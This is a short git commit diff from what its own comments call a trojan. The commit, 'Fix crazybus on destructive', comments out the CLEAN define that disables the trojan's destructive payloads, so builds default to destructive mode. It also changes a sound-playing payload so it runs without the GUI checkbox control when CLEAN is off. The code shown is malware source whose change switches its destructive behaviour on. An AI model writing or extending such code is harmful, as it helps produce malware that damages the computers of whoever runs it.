Fix crazybus on destructive

This commit is contained in:
Leurak 2016-07-24 15:38:45 +02:00
parent ff724d4b47
commit f0a658571c
2 changed files with 9 additions and 3 deletions

View file

@ -1,6 +1,6 @@
// If this is defined, the trojan will disable all destructive payloads
// and does display a GUI to manually control all of the non-destructive ones.
#define CLEAN
//#define CLEAN
#ifdef CLEAN
// Enable XP styles

View file

@ -275,17 +275,23 @@ PAYLOADHOST(payloadHostCrazyBus) {
wavedata[i] = (char)(((i % freq) / ((float)freq)) * 100);
}
#ifdef CLEAN
waveOutReset(hwo);
#endif
waveOutWrite(hwo, &hdr, sizeof(hdr));
while (!(hdr.dwFlags & WHDR_DONE) && (enablePayloads && SendMessage(payload->btn, BM_GETCHECK, 0, NULL) == BST_CHECKED)) {
while (!(hdr.dwFlags & WHDR_DONE)
#ifdef CLEAN
&& (enablePayloads && SendMessage(payload->btn, BM_GETCHECK, 0, NULL) == BST_CHECKED)
#endif
) {
Sleep(1);
}
#ifdef CLEAN
if (!enablePayloads || SendMessage(payload->btn, BM_GETCHECK, 0, NULL) != BST_CHECKED) {
waveOutPause(hwo);
}
#ifdef CLEAN
} else {
Sleep(10);
}